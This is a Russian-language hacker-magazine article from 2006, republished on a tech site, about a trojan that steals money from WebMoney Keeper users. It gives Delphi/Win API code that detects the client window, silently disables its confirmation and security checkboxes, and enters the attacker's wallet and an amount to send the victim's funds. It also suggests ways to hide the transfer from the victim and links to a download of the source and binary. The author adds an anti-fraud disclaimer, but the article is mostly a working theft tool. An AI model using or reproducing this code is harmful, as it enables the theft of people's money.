Информационные технологииStfw.Ru 🔍

Ломка WebMoney

Crack (crack@rsteam.ru)
🕛 02.11.2006, 16:32
Как крадут электронные деньги

Много говорилось о том, что взломать платежную систему WebMoney невозможно. Так вот, господа, это полная лажа! Систему взломали уже через несколько дней после ее появления, причем для этого заюзали баг, который известен уже несколько тысячелетий. Это buffer overflow в мозгах пользователей: изощренными методами социальной инженерии мошенники заставляли юзеров расставаться с увесистыми суммами. А недавно я написал хитроумную программу, после запуска которой на компьютере жертвы все его электронные деньги переводились на мой счет.

Как все начиналось?

За окном была непогода: порывы сильного ветра выворачивали наизнанку зонты немногочисленных прохожих, холодный дождь лил как из ведра. Казалось, солнце уже никогда не выглянет и не согреет своим теплом эти старые, видавшие виды дома, как призраки проглядывавшие сквозь туманную пелену шторма. Я сидел дома в теплом свитере за чашкой горячего ароматного кофе, смотрел в окно и думал, как же в кайф быть в тепле, как мне уютно и хорошо. Мне безумно хотелось заняться чем-то творческим, нужно было ловить момент. Ведь когда на улице хорошая погода, светит солнце и тепло, невозможно сосредоточиться: друзья зовут гулять, клубиться и веселиться. А в непогоду самое время сидеть дома и заниматься любимым делом - программировать. Я как раз думал над одной задачей. Давно хотел написать программу, которая, используя Win API, вызывает функции стороннего приложения. В качестве объекта для испытаний я решил выбрать клиента платежной системы WebMoney, поскольку никогда не испытывал избытка в денежных средствах. И не прогадал ;).

Полетели!

Первым делом я принялся изучать работу WebMoney Keeper'а, программы-клиента платежной системы, при помощи которой пользователи работают со своим электронным кошельком. И сразу же заметил два возможных метода кражи денег.

Уязвимое место №1

Первый способ добычи денег заключается в похищении файлов ключей. Напомню, что для работы с кошельком недостаточно знать его номер и пароль - необходимы специальные файлы, которые служат своего рода ключами. Соответственно, если похитить эти файлы, доступ к кошельку заметно упрощается. Но тут есть несколько проблем. Прежде всего, необходимо знать, где лежат эти файлы. Получить ответ на этот вопрос совсем несложно. Для этого программа-троян должна при помощи функций Win API зайти в настройки клиента, получить нужный хэндл поля ввода, где хранится путь к ключам, и считать оттуда информацию. Для этого я использую функцию wm_gettext, принимающую два параметра: количество читаемых байт и имя переменной, куда следует занести результат выполнения функции.

Вторая проблема, с которой я столкнулся, заключается в следующем. В клиенте существует опция, позволяющая любому юзеру увеличить объем файла с ключом до пары гигабайт, что полностью исключит возможность похищения ключей. Но и эта проблема решается очень просто: опять же, при помощи Win API можно программно выключить эту опцию и убрать тем самым нужную галочку, после чего ключи опять приобретут земные размеры. Для этого необходимо использовать сообщение bm_setcheck.

Третья проблема заключается в том, что у пользователя может попросту стоять файрвол, который не пустит мою программу при пересылке ключей. Это, на самом деле, тоже не беда - существует множество способов обхода файрволов под Windows. И, наконец, четвертая проблема заключается в том, что при использовании краденых ключей необходимо пройти повторную активизацию, а код активизации присылается на почтовый ящик бывшего владельца. То есть тут необходимо взламывать e-mail жертвы, что порой не так-то просто. В принципе, все эти проблемы вполне можно разрешить. Но встает вопрос - зачем? Ведь есть второй способ кражи денег, который легко обходит все эти защитные меры.

Уязвимое место №2

Второй способ заключается в том, что мой троян заставит отправить программу-клиента деньги на нужный мне кошелек, вызвав некоторую функцию. Программа просто будет висеть в памяти и проверять все окна на наличие заголовка "WebMoney Keeper". Это легко делается с помощью API-функции findwindow. Затем я буду получать хэндлы дочерних окон: это нужные поля ввода, кнопки и другие необходимые мне объекты. Для получения хэндлов дочерних окон используется функция getwindow, первым параметром которой выступает хэндл основного окна, а вторым - gw_child. Итак, программа висит и ждет появления окна с заголовком "WebMoney Keeper", а я жду, пока программа-клиент законнектится к серваку. Эту проверку я реализовал следующим образом. API-функциями получаю хэндл кнопки, на которой написан статус программы (онлайн или офлайн) и затем, при помощи функции wm_gettext, считываю текст с кнопки. Вот этот нехитрый код:

Проверяем статус программы

if FindWindow(nil, 'WebMoney Keeper')><0 then
begin
KeeperWnd := FindWindow(0,'WebMoney Keeper'); 
ButtonWnd[1]:=GetWindow(KeeperWnd, gw_Child);
for i:=2 to 6 do ButtonWnd[i]:= GetWindow(ButtonWnd[i-1],gw_HWNDNext);
SetLength(ButText,20);
while Copy(ButText,1,3)><' On' do //Получаем первые три символа слова Online
begin
SendMessage(ButtonWnd[6],WM_GETTEXT,20,Longint(@ButText[1]));
end;
end;

При помощи цикла for я получаю первые шесть хэндлов дочерних окон. Важный момент - шестой дескриптор указывает на кнопку со статусом соединения. После всего этого я могу смело приступать к своим гнусным делам :). Для начала необходимо изменить некоторые опции безопасности WM Keeper'а, чтобы процедура пересылки денег прошла безболезненно. Для этого необходимо получить хэндл кнопки вызова меню (она пятая по счету), кликнуть по ней и затем перемещаться по меню с помощью сообщений wm_keydown и wm_keyup. Вот ключевой момент программы:

Свободно лазить по меню

sendmessage(ButtonWnd[5], WM_LBUTTONDOWN, MK_LBUTTON, 0);
sendmessage(ButtonWnd[5], WM_LBUTTONUP, 0, 0);
sleep(5);
GetWindowRect(ButtonWnd[5],korbut);
point.x :=korbut.TopLeft.X+5;
point.y :=korbut.TopLeft.Y-40;
MenWnd:=WindowFromPoint(point);
PostMessage (MenWnd, WM_KEYDOWN, VK_UP, 0); //так перемещаться вниз
//...перемещаемся, куда нам нужно
PostMessage (hControl, WM_KEYDOWN, VK_RETURN, 0); //так жму Enter
ButtonWnd[5] - это указатель на кнопку "Меню". С помощью функции getwindowrect я узнаю координаты этой кнопки. Так как само выпадающее меню размещено немного выше кнопки, я отнимаю от полученной координаты "y" сорок px, по новым координатам получаю дескриптор самого меню. После этого я могу запросто получить указатель окна с параметрами программы, для чего опять воспользуюсь функцией API findwindow.

Теперь необходимо выключить соответствующие галочки на вкладке "Общие": "Сигнализировать о событиях", "Подтверждать операции", "Показывать информацию о получателе перед переводом WebMoney"; на вкладке "Безопасность": "Подтверждение выполнения операций". Также на вкладке "Общие" необходимо поставить галочку напротив "Закрывать окна после выполнения операций". Для этого я воспользуюсь сообщением bm_setcheck, у которого два параметра. Первый - в зависимости от того, нужно ли включить или выключить галочку, он равен нулю или единице, второй - ноль. Для получения нужных нам хэндлов я опять прогнал цикл for на получение первых 40 дочерних окон. Вот так это реализуется:

Выключаю ненужные опции

OptionWnd := FindWindow(nil, 'Параметры программы');
CheckBox[1]:=GetWindow(OptionWnd, gw_Child);
for i:=2 to 40 do CheckBox[i]:=GetWindow(CheckBox[i-1], gw_HWNDNext);
temp:=SendMessage(CheckBox[6], bm_GetCheck, 0, 0);
if temp >< 0 then SendMessage(CheckBox[6], bm_SetCheck, 0, 0);
temp:=SendMessage(CheckBox[7], bm_GetCheck, 0, 0);
if temp >< 0 then SendMessage(CheckBox[7], bm_SetCheck, 0, 0);
...и так далее остальных нужных галочек
Где OptionWnd - это указатель окна параметров программы, а CheckBox - массив хэндлов нужных нам галочек.
Теперь смело жму кнопку "ОК", для этого засылаю два сообщения:

sendmessage(handle, wm_lbuttondown, mk_lbutton, 0);
sendmessage(handle, wm_lbuttonup, mk_lbutton, 0);

где handle - это хэндл кнопки "ОК". Теперь осталось только отправить деньги на нужный кошелек. Захожу в меню: "Кошельки", "Передать WM", "В кошелек WebMoney". Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять не усложнял себе жизнь и прогнал цикл for для получения нужных мне дочерних окон. Потом в поле "Сумма" помещаю нужную цифру, а в поле "Кошелек" ввожу свой кошелек, для этого использую сообщение wm_settext, у которого два параметра: первый - ноль, второй - переменная, откуда я беру нужный текст.

Ввожу сумму и кошелек

SendMessage(kosh_handle,WM_SETTEXT,0, LParam(PCHAR('Z066667778888')));
//Вводим наш кошелек
SendMessage(Money, wm_Char,WParam(PCHAR('5')),0);
SendMessage(Money, wm_Char,WParam(PCHAR('0')),0);
//сообщение WM_SETTEXT для поля "Сумма" не работает!
kosh_handle - хэндл поля ввода номера кошелька, money - указатель на поле с суммой платежа.

После всего этого остается только нажать на кнопку "Передать" - это делается по аналогии с кнопкой "ОК", способ для которой приведен выше.

Если все сделано правильно, то нужная сумма денег вскоре упадет в мой кошелечек, а мне останется только пойти радоваться с друзьями.

Шифровка от юзверя

Чтобы юзер не запалил троян, весь выше описанный процесс нужно как-то спрятать. Первый способ - выколоть юзеру глаза :). Но в таком случае не проще ли дать ему по голове и забрать весь налик? ;) Второй способ - выключить монитор, делается так: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2). Но у многих на это выработан рефлекс моментального нажатия кнопки Reset, так что и этот способ не катит. Наконец, можно сделать скриншот всего рабочего стола до того, как будет начата операция по переводу денег, разместить его поверх всех окон, сделать нужное дело и убрать скриншот. Но у юзера может появится впечатление, что его комп подвис, после чего последует нажатие трех магических кнопок или снова Reset. Самый эффективный способ - просто отключить прорисовку окон с вызываемыми диалогами WM Keeper'а. Способ тяжелый в реализации, но действительно эффективный. Чтобы описать, как это сделать, потребуется целая статья, поэтому я не буду заострять на этом внимание. Ах, да, чуть не забыл. Скачать для ознакомления исходный код программы и скомпилированный бинарник можно с сайта xa.ired.ru/wm/.

Зачем это все?

Способ действительно хорош и действительно работает. С его помощью, при грамотном подходе, можно украсть кучу денег. Более того, он вполне переносим и на другие платежные системы, в том числе буржуйские. Однако я бы хотел обратить твое внимание на тот факт, что электронное воровство ничем не отличается от обыкновенного. Мошенники крадут те же самые деньги, которые кто-то не без труда зарабатывал. Поэтому заниматься таким воровством - удел низкосортных, бездарных людей, которые кроме как воровать чужие средства и делать-то ничего не умеют. Эта статья призвана показать, как несовершенны бывают даже самые стойкие системы. Ведь пропатчить мозги всем пользователям популярного сервиса - задача невыполнимая. Еще раз скажу, что и редакция журнала, и я лично выступаю резко против подобного электронного мошенничества. Для меня эта задача была лишь интересным обучающим примером работы с функциями Win API.

Так что помни, если это реализовать на практике, то ты можешь легко попасть под различные статьи из УК РФ.

Служба электронных бабок

Если тебе ничего не известно про WebMoney, то я немного расскажу об этой платежной системе. Суть работы этой службы заключается в следующем: клиент (обычный юзер) при помощи специальной программы управляет собственным электронным счетом, деньги на который можно занести, приобретя за наличные специальную карту, осуществив банковский перевод, либо получив транзакцию от другого пользователя системы. С помощью программы-клиента юзер может пополнять счет, покупать разнообразные товары и т.п. В системе WebMoney существует три разных типа валюты: wmz (эквивалент америкосовского бакса), wmr (эквивалент деревянного рублика) и wme (эквивалент евро). Юзер сам выбирает, с какой валютой ему удобнее проводить манипуляции. При первой регистрации необходимо ввести некоторые данные (фамилия, имя, адрес и т.д.), эти сведения никак не проверяются и не должны быть обязательно достоверными. Для аутентификации пользователя на компьютере хранятся специальные файлы с так называемыми ключами. Без них работать с системой невозможно, они служат гарантом безопасности.

WWW

www.webmoney.ru - официальный сайт WebMoney, отсюда можно скачать программу-клиент.

https://security.webmoney.ru - информация которая касается безопасности WebMoney.

INFO

В статье рассмотрен WebMoney Keeper Classic, так как большинство людей пользуется именно им, хотя есть и та часть, которая использует версию Lite. Также рассмотрен русский интерфейс программы-клиента. Но чтобы сделать эту программу универсальной, достаточно внести небольшие изменение в код программы.

WWW

Скачать исходный код и бинарник моей программы в целях ознакомления можно по адресу http://xa.ired.ru/wm/

Информационная безопасность   Теги:

Читать IT-новости в Telegram

Читайте также:

Уводим WebMoney

Информационные технологии
Мы в соцсетях ✉